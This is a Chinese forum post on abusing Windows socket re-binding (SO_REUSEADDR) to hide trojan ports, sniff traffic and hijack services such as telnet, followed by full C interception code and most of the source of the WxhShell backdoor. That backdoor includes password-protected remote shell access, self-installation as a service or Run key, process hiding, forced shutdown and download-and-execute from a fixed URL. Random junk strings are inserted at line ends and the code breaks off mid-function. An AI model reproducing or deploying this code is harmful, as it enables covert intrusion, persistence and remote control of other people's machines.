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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e*}:t H  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {{B'65Wu  
HCCq9us  
  saddr.sin_family = AF_INET; X{(?p=]  
MPKrr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )a5ON8?  
y4r?M8]"r  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !X||ds  
@eDs)mY  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 KYwUkuw)  
io(!z-$  
  这意味着什么?意味着可以进行如下的攻击: A@Lr(L  
 ?!<Q8=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7yXJ\(6R_  
sSc~q+xz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `7'^y  
2h#.:!/SMw  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T 1R~^x1  
IuA4eDr^Y%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Onh R`  
]*gf$D  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q/Vl>t  
^)GaVL^"5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 on"ENT  
C<(qk_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zbr^ulr  
<6s@eare8  
  #include @2mWNYHR*>  
  #include rA^=;?7Q  
  #include t: oQHhO?  
  #include    &5.J y2hO]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3,`M\#z%K  
  int main() KhP_U{)D  
  { U&{w:P  
  WORD wVersionRequested; 8aC=k@YE  
  DWORD ret; _n!>*A!  
  WSADATA wsaData; Kv9FqrDj  
  BOOL val; kM[!UOnC!<  
  SOCKADDR_IN saddr; $06('Hg&  
  SOCKADDR_IN scaddr; 'U*#7 1S  
  int err; dh.{lvlX|  
  SOCKET s; .t8hTlV?<B  
  SOCKET sc; /I1n${{5  
  int caddsize; 'rS\9T   
  HANDLE mt; Gy;Fe=  
  DWORD tid;   zGNW5S9G  
  wVersionRequested = MAKEWORD( 2, 2 ); mlLqQ<  
  err = WSAStartup( wVersionRequested, &wsaData ); 'n1$Y%t  
  if ( err != 0 ) { (+0(A777M  
  printf("error!WSAStartup failed!\n"); zg@i7T  
  return -1; z@o6[g/*Q  
  } (C1~>7L  
  saddr.sin_family = AF_INET; CE!cZZ  
   P-$ ,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 SS24@:"{  
^^*L;b>I  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); i(.V`G=  
  saddr.sin_port = htons(23); A.@wGy4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e@;'#t  
  { xf8[&?  
  printf("error!socket failed!\n"); -ah)/5j  
  return -1; S:Jg#1rww-  
  } !`4ie  
  val = TRUE; 1RX-`"^+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )db:jPkwd  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V~ MsGj  
  { )f8;ze  
  printf("error!setsockopt failed!\n"); &j ; 91wEn  
  return -1; 7E#h(bt j  
  } ixK9/5T  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Dgc6rv#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -;ra(L`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 r}sO},i  
c0HPS9N\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) tCoE4Ed  
  { p&u\gSo  
  ret=GetLastError(); |(TEG.<g  
  printf("error!bind failed!\n"); Y2'HP)tfIw  
  return -1; 3TLym&  
  } J]zhwM  
  listen(s,2); !Q<3TfC  
  while(1) Wd+G)Mu_=  
  { :SW vH-]  
  caddsize = sizeof(scaddr); zDEgC  
  //接受连接请求 .Y^3G7On  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); EkRx/  
  if(sc!=INVALID_SOCKET) LR!%iP  
  { isy[RAP<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =R 4]Kf  
  if(mt==NULL) o2bmsnXQ  
  { hO{&bY0  
  printf("Thread Creat Failed!\n"); B2*>7 kc_s  
  break; n @R/zy  
  } lZe-A/E  
  } wtfH3v  
  CloseHandle(mt); *JZ9'|v_H  
  } {dP6fr1z  
  closesocket(s); $)c[FR~a  
  WSACleanup(); z C$F@  
  return 0; t9*e"QH  
  }   iPY)Ew`Im  
  DWORD WINAPI ClientThread(LPVOID lpParam) ]dl.~;3~~  
  { "#gS?aS  
  SOCKET ss = (SOCKET)lpParam; Z__fwv.X[  
  SOCKET sc; | oM`  
  unsigned char buf[4096]; *93=}1gN  
  SOCKADDR_IN saddr; ^'du@XCf}  
  long num; 2A =Y  
  DWORD val; X[dH*PV  
  DWORD ret; P*>?/I`G  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fVa z'R  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [\ Sd*-  
  saddr.sin_family = AF_INET; e-UWbn'~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6[RTL2&W  
  saddr.sin_port = htons(23); 1JdMw$H  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \CE+P5  
  { R.l!KIq  
  printf("error!socket failed!\n"); 2 M\7j  
  return -1; n@h$V\&\iM  
  } 6/Yo0D>M$  
  val = 100; 4+nZ4a>LH?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $Q}L*4?]  
  { N?#L{Yt  
  ret = GetLastError(); 6vxRam6[??  
  return -1; WlY\R>x#  
  } n9 FA` e  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7\$b%A  
  { cyP+a  
  ret = GetLastError(); ^&y*=6C  
  return -1; bivo7_  
  } GUM-|[~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &'i>d&  
  { sa/9r9hc+  
  printf("error!socket connect failed!\n"); 1M?x,N_W  
  closesocket(sc); [+CFQf>  
  closesocket(ss); ]\>MDH  
  return -1; l x0BKD?n  
  } '/Vm[L$d  
  while(1) ;"e55|d9I  
  { ]5:[6;wS  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 IG;= |  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "\rO}(gC;`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H8B.c%_|U  
  num = recv(ss,buf,4096,0); p[%~d$JUq  
  if(num>0) {|j-e{*  
  send(sc,buf,num,0); w)qmq  
  else if(num==0) qK@,O \  
  break; y?3u6q++  
  num = recv(sc,buf,4096,0); OVgak>$  
  if(num>0) '4 3U v  
  send(ss,buf,num,0); <nV3`L&]  
  else if(num==0)  tj8o6N#  
  break; qJK9C `T%  
  } S:xs[b.ZZ  
  closesocket(ss); e.(d?/!F_  
  closesocket(sc); ygm6(+  
  return 0 ; |a /cw"  
  } 0$Zh4Y  
FEopNDy@y  
NU{eoqaT  
========================================================== qPUACuF'  
;Z;` BGZJ  
下边附上一个代码,,WXhSHELL cFJZ|Ld  
C R't  
========================================================== Bd;EI)JT  
$:-C9N29  
#include "stdafx.h" yDe*-N\'W  
<; Td8O89_  
#include <stdio.h> ?;(!(<{  
#include <string.h> 1GLb^:~A  
#include <windows.h> kDE:KV<"c  
#include <winsock2.h> )[&j&AI  
#include <winsvc.h> [Q6$$z92Q  
#include <urlmon.h> 7~P!Z=m^^f  
Po\+zZjo  
#pragma comment (lib, "Ws2_32.lib") A]o3 MoSt  
#pragma comment (lib, "urlmon.lib") 8F)9.s,*  
~j!|(a7  
#define MAX_USER   100 // 最大客户端连接数 9n\v{k=  
#define BUF_SOCK   200 // sock buffer Sn.I{~  
#define KEY_BUFF   255 // 输入 buffer (tzAUrC  
4 BNbS|?vV  
#define REBOOT     0   // 重启 eISHV.QV  
#define SHUTDOWN   1   // 关机 MC B2  
aK,\e/Oo  
#define DEF_PORT   5000 // 监听端口 xs "\c7pC  
$SniQ  
#define REG_LEN     16   // 注册表键长度 G&M)n*o  
#define SVC_LEN     80   // NT服务名长度 JE$ $6X  
LA6Ik_-F  
// 从dll定义API (V/! 0Lj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); chE}`I?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P;&U3i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NX]6RZr-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SokU9n!  
3rX8H`R  
// wxhshell配置信息 ,>TDxI;  
struct WSCFG { `sRys oW  
  int ws_port;         // 监听端口 V|nJ%G\  
  char ws_passstr[REG_LEN]; // 口令 xFp9H'j{  
  int ws_autoins;       // 安装标记, 1=yes 0=no {w99~?  
  char ws_regname[REG_LEN]; // 注册表键名 ,? &$ c+  
  char ws_svcname[REG_LEN]; // 服务名 ;D[I/U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vDc&m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [{ A5BE -  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q'biTn]2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1gYvp9Ma  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N$Tzxs  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (Fk&~/SP  
V0F1X s`  
}; )$2h:dw_  
Y[;Z7p  
// default Wxhshell configuration k9&pX8#  
struct WSCFG wscfg={DEF_PORT, U/rFH9e$  
    "xuhuanlingzhe", ,/Y$%.Rp  
    1, _9iF`Q  
    "Wxhshell", R_:-Z .  
    "Wxhshell", zfGr1;  
            "WxhShell Service", a-5#8  
    "Wrsky Windows CmdShell Service", gGbqXG^  
    "Please Input Your Password: ", u)P)r,  
  1, OnE~0+  
  "http://www.wrsky.com/wxhshell.exe", ZQ#AEVI,  
  "Wxhshell.exe" cW^u4%f't'  
    }; q&wv{  
~~WX#Od*$  
// 消息定义模块 f{D~ZC.*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kAoh#8=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GIUyW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !t&C,@Ox  
char *msg_ws_ext="\n\rExit."; H<`7){iG  
char *msg_ws_end="\n\rQuit."; M;@/697G  
char *msg_ws_boot="\n\rReboot..."; `{J(S'a`  
char *msg_ws_poff="\n\rShutdown..."; Xkp`1UTH  
char *msg_ws_down="\n\rSave to "; ]#$r TWMl'  
ob(~4H-  
char *msg_ws_err="\n\rErr!"; k@2@%02o9C  
char *msg_ws_ok="\n\rOK!"; NX<Q}3cC  
n(Ry~Xu_  
char ExeFile[MAX_PATH]; 9z?B@;lMc  
int nUser = 0; I{u+=0^Y  
HANDLE handles[MAX_USER]; o7:"Sl2AD  
int OsIsNt; ^c>ROpic  
ogE|8`Tq^  
SERVICE_STATUS       serviceStatus; M j |"+(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kmsgaB7?  
1 swqs7rR|  
// 函数声明 BOW`{=  
int Install(void); ]LSlo593  
int Uninstall(void); I;?np  
int DownloadFile(char *sURL, SOCKET wsh); mC`U"rlK~  
int Boot(int flag); 9 J~KM=p  
void HideProc(void); =Xb:.  
int GetOsVer(void); ,V=]QHcg  
int Wxhshell(SOCKET wsl); 95  X6V  
void TalkWithClient(void *cs); fu`|@S  
int CmdShell(SOCKET sock); th|TwD&mO  
int StartFromService(void); ebB8.(k9G3  
int StartWxhshell(LPSTR lpCmdLine); YR68'Sft[  
s#)tiCSVW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AjO|@6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ot,e?lF  
f1/i f:~6  
// 数据结构和表定义 k.#[h@Pm  
SERVICE_TABLE_ENTRY DispatchTable[] = #K[6Ai=We}  
{ VK$s+"  
{wscfg.ws_svcname, NTServiceMain}, ,6^V)F  
{NULL, NULL} ]4-t*Em  
}; CLY>M`%?+p  
]=0$-ImQ@x  
// 自我安装 fmk(}  
int Install(void) @)Sd3xw[  
{ * n>YS  
  char svExeFile[MAX_PATH]; -- |L?-2k,  
  HKEY key; u]QG^1.qYe  
  strcpy(svExeFile,ExeFile); 'xc=N  
17;qJ_T)  
// 如果是win9x系统,修改注册表设为自启动 4ew#@  
if(!OsIsNt) { e{IwFX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IgtTYxI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y\7/`ty  
  RegCloseKey(key); uF\f>E)/N%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l#%G~c8x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); % KmhR2v  
  RegCloseKey(key); {DGnh1  
  return 0; *[wj )  
    } ~px)Jd  
  } e!O:z   
} n%:&N   
else { Gw}b8N6E  
}q[IhjD%  
// 如果是NT以上系统,安装为系统服务 U10:@Wzh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5JRj'G0I  
if (schSCManager!=0) l( 0:CM  
{ \"hP*DJ"  
  SC_HANDLE schService = CreateService FPXB>D'  
  ( yM*< BV  
  schSCManager, $iAd)2LT  
  wscfg.ws_svcname, W2j@Q=YDS  
  wscfg.ws_svcdisp, C*,PH!$k  
  SERVICE_ALL_ACCESS, _8nT$!\\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $ &fm^1  
  SERVICE_AUTO_START, dRnO5 7+{  
  SERVICE_ERROR_NORMAL, T6p2=o&p  
  svExeFile, c9N5c  
  NULL, V(6ovJpA0  
  NULL, TP&&' 4?D1  
  NULL, 5iP{)  
  NULL, Q?TXM1Bp  
  NULL ^B7C8YP  
  ); @c#M^:9Dc  
  if (schService!=0) w `r)B`!g  
  { #`{L_n$c  
  CloseServiceHandle(schService); j+>&~  
  CloseServiceHandle(schSCManager); - -H%FYF`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :~+m9r  
  strcat(svExeFile,wscfg.ws_svcname); qz/d6-0"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B#;0{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); joJ:* oL  
  RegCloseKey(key); 7F D.3/  
  return 0; p*S;4+>#  
    } :\8&Th}Se  
  } 66shr  
  CloseServiceHandle(schSCManager); ,2 _!hm /  
} @jevY81)  
} 5Dlx]_  
LS4|$X4H`!  
return 1; &26H   
} I &I q  
AT]Ty  
// 自我卸载 TdH~ sz  
int Uninstall(void) 9J'3b <  
{ *Me{G y  
  HKEY key; GLIP;)h1  
T hLR<\  
if(!OsIsNt) { n^Sc*7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f'3sT(1&  
  RegDeleteValue(key,wscfg.ws_regname); f$^+;j  
  RegCloseKey(key); [?Ub =sp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i@ XFnt  
  RegDeleteValue(key,wscfg.ws_regname); 5!)_" u3  
  RegCloseKey(key); oc3}L^aD  
  return 0; b5Pakz=jNM  
  } mMRdnf!Uid  
} /*yPy?  
} L=WB'*N  
else { 4\%XC F!  
GcYT<pwN6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ``4lomz>  
if (schSCManager!=0) xg2 &  
{ Jf=$h20x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nzK"eNDN.  
  if (schService!=0) 3?R QPP  
  { 'U'#_mYG  
  if(DeleteService(schService)!=0) { wam- =3W  
  CloseServiceHandle(schService); r@m2foaO  
  CloseServiceHandle(schSCManager); 2r|!:^'?W  
  return 0; wk"zpI7L  
  } k_<8SG+`  
  CloseServiceHandle(schService); #XlE_XD  
  } `Gp!Y  
  CloseServiceHandle(schSCManager); _C97G&  
} oPA [vY  
} fCxF3m(O  
!1\j D  
return 1; T{%'"mm;  
} H;O PA8\n  
f:-dw6a=s  
// 从指定url下载文件 )c$)am\I{  
int DownloadFile(char *sURL, SOCKET wsh) >av.pJ(>  
{ Ly$s0.!  
  HRESULT hr; z.7'yJIP#  
char seps[]= "/"; )bG d++2  
char *token; sB,>4*Zd  
char *file; [o,S.!W8  
char myURL[MAX_PATH]; )d|hIW]7(  
char myFILE[MAX_PATH]; 1#3 Qa{i  
g6. =(je  
strcpy(myURL,sURL); KVrK:W--p  
  token=strtok(myURL,seps); mTW@E#)n  
  while(token!=NULL) `1[GY){?)  
  { PNbs7f  
    file=token; f1RfNiW.  
  token=strtok(NULL,seps); !B3lsXLSY  
  } hoQ?8}r:  
#`0iN+qh  
GetCurrentDirectory(MAX_PATH,myFILE); fii\&p7z  
strcat(myFILE, "\\");  Dy[ YL  
strcat(myFILE, file); F^]?'`7md  
  send(wsh,myFILE,strlen(myFILE),0); cs%NsnZ  
send(wsh,"...",3,0); i Y2%_b!5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); } bs2Rxkh  
  if(hr==S_OK) a;A&>Ei}  
return 0; D?w-uR%Y  
else 2F[;Z*&  
return 1; V!S B9t`E  
Z)U#5|sf  
} ;')T}wuq  
_ z!0ab  
// 系统电源模块 'd"\h#  
int Boot(int flag) X&<#3n  
{ ,Wp0,>!  
  HANDLE hToken; Vo%UiVHy  
  TOKEN_PRIVILEGES tkp; .F~EQ %  
,QpDz{8  
  if(OsIsNt) { d\ &jl`8*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +(3PY  e\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |7CH  
    tkp.PrivilegeCount = 1; JAA P5ur  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _]=`F l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \?} {wh8  
if(flag==REBOOT) { &\C{,:[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rr[9sk`^H  
  return 0; rwxJR@Ttn  
} fuH Dif,  
else { f-\l<o(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z v=p0xH  
  return 0; ]'aG oR  
} -BV&u(  
  } g(:y_EpmLH  
  else { B%Yb+M&K  
if(flag==REBOOT) { a<V=C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S)"5X)mq  
  return 0; |7zm!^t$  
} ]sjOn?YA+  
else { 2="C6 7TK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'FBvAk6  
  return 0; J<_&f_K0]  
} LwUvM  
} (D8'qx-M  
&-+&`h|s  
return 1; MjU>qx::  
} {kJ[)7  
XEZ6%Q_  
// win9x进程隐藏模块 $Mx.8FC +  
void HideProc(void) kmW!0hm;e  
{ lb1(1 |#  
\Mlj 7.u]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U gB  
  if ( hKernel != NULL ) e7L;{+XI  
  { yh5KN_W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y@.> eS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zck)D^,aO  
    FreeLibrary(hKernel); U2ANu|  
  } [jumq1  
B>47Ic  
return; wH#k~`M  
} N13 <!QQ  
CWkm\=  
// 获取操作系统版本 No[xf9>t  
int GetOsVer(void) &F#X0h/m=  
{ bi^LpyEn  
  OSVERSIONINFO winfo; i6m;2 UAa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ecf7g)+C  
  GetVersionEx(&winfo); xDr *|d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1'_OM h*;  
  return 1; t*Q12Q  
  else 'd?8OV  
  return 0; PfrW,R~r  
} JsPuxu_  
kd \G>  
// 客户端句柄模块 .yWdlq##  
int Wxhshell(SOCKET wsl) Fr%KO)s2  
{ udc9$uO  
  SOCKET wsh; `%ymg8^  
  struct sockaddr_in client; 00pHnNoxW  
  DWORD myID; 1shvHmrV  
!#iP)"O  
  while(nUser<MAX_USER) hG us!p"lw  
{ db%`- UST  
  int nSize=sizeof(client); TU. h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); # |UrHK;  
  if(wsh==INVALID_SOCKET) return 1; ;U`HvIch  
0XozYyq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V,M8RYOnC!  
if(handles[nUser]==0) _X.M,id  
  closesocket(wsh); Ar'5kPzY>  
else GV[[[fu  
  nUser++; @pko zE-  
  } ]c5GG!E-g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 98O z  
U3U eTa_  
  return 0; x@k9]6/zs  
} Tf0#+6 1>  
HRw,D=  
// 关闭 socket $9J"r9@@  
void CloseIt(SOCKET wsh) Y0hL_46>  
{ H{GbOI.  
closesocket(wsh); cL WM]\Y  
nUser--; 9Pb0Olh  
ExitThread(0); vOP[ND=T  
} *@Qt*f  
v^E5'M[A  
// 客户端请求句柄 [w4z)!  
void TalkWithClient(void *cs) pI^n("|  
{ WD)[Ac[  
Ql V:8:H$  
  SOCKET wsh=(SOCKET)cs; ]CL70+[^9  
  char pwd[SVC_LEN]; oD}I{&=wa  
  char cmd[KEY_BUFF]; L|H{;r'  
char chr[1];  z`_N|iEd  
int i,j; da<1,hF  
FP\[7?ZLn  
  while (nUser < MAX_USER) { !{3pp  
qzyQ2a_p  
if(wscfg.ws_passstr) { igQyn|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =Tj0dfO|"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n_+Iw,a'm  
  //ZeroMemory(pwd,KEY_BUFF); <St`"H  
      i=0; ~|!lC}!IKL  
  while(i<SVC_LEN) { eX$Biv1N  
S n+Yi  
  // 设置超时 7vWB=r>5@  
  fd_set FdRead; Z3/zUtgs  
  struct timeval TimeOut; HYY|) Wo  
  FD_ZERO(&FdRead); (C:rH  
  FD_SET(wsh,&FdRead); [lJ[kr*7  
  TimeOut.tv_sec=8; z DK+8  
  TimeOut.tv_usec=0; TUUBC%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3whyIXs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FPMW"~v  
f Gfv{4R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~>EVI=?  
  pwd=chr[0]; Av[jFk  
  if(chr[0]==0xd || chr[0]==0xa) { ':[y]ep(~|  
  pwd=0; ](ninSX1w  
  break; k{#:O=  
  } D *tBbV  
  i++; 5u!cA4e"  
    } doa$ ;=wg  
j?,$*Fi  
  // 如果是非法用户,关闭 socket 0jyokER  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2,fB$5+  
} R3<+z  
$200?[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ylf4q/-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S&0x:VW  
p[$I{F*a  
while(1) { Z~R i%XG  
O//e0?]W  
  ZeroMemory(cmd,KEY_BUFF); #-`lLI:w0  
WZr~Pb9  
      // 自动支持客户端 telnet标准   K XGs'D  
  j=0; c2U>89LlZ  
  while(j<KEY_BUFF) { ZA P+jX;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1Li@O[%X<  
  cmd[j]=chr[0]; v$cD!`+k  
  if(chr[0]==0xa || chr[0]==0xd) { ;Cy@TzO/|  
  cmd[j]=0; 3m^BYr*y^  
  break; 'ZDclz9}  
  } L9.#/%I\  
  j++; izxCbbg  
    } I5~DC  
o?3R HP47  
  // 下载文件 cQR1v-Xt  
  if(strstr(cmd,"http://")) { +EB# #  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bODl q  
  if(DownloadFile(cmd,wsh)) uu:)jxi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fS ~.K9  
  else 1m0':n Vdu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f.= E.%  
  } (X9V-4  
  else { 40<&0nn  
u%pief  
    switch(cmd[0]) { _pS%tPw  
  0b4O J[  
  // 帮助 sHF vzE%  
  case '?': { 7I|%GA_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QJ>>&`{ ,  
    break; =6sXZ"_Tw  
  } s :ruCS  
  // 安装 J-}NFWR;t  
  case 'i': { ~g{,W  
    if(Install()) )~/U+,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VPHCPGrk  
    else -: ,h8JyMP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r>Ln*R,9D  
    break; I?>#neHc6  
    } <%z/6I Af|  
  // 卸载 B4}XK =)  
  case 'r': { Y[!a82MTzn  
    if(Uninstall()) ]Q3Gj@6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8VZ-`?p  
    else zCHr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x3Ud0[(  
    break; xeI{i{8  
    } "YL-!P  
  // 显示 wxhshell 所在路径 :3B\,inJ  
  case 'p': { $c}0L0  
    char svExeFile[MAX_PATH]; my1kF%?  
    strcpy(svExeFile,"\n\r"); a%dx\&K  
      strcat(svExeFile,ExeFile); pd#/;LT  
        send(wsh,svExeFile,strlen(svExeFile),0); b5DrwX{Ff  
    break; L,6Y=?  
    } v\Ljm,+  
  // 重启 |=LkV"_v  
  case 'b': { FT~^$)8=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4i,SiFKB  
    if(Boot(REBOOT)) aW"!bAdx`,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  zjA/Z(  
    else { c #kV+n<  
    closesocket(wsh); *3$,f>W^  
    ExitThread(0); HhvG#Sam!  
    } ^aXBt  
    break; X2cR+Ha0  
    } akQH+j  
  // 关机 vrzX%'  
  case 'd': { U3}R^W~eb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _ ^{Ep/ME=  
    if(Boot(SHUTDOWN)) f[b YjIX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T Rw6$CR  
    else { Aq!['G  
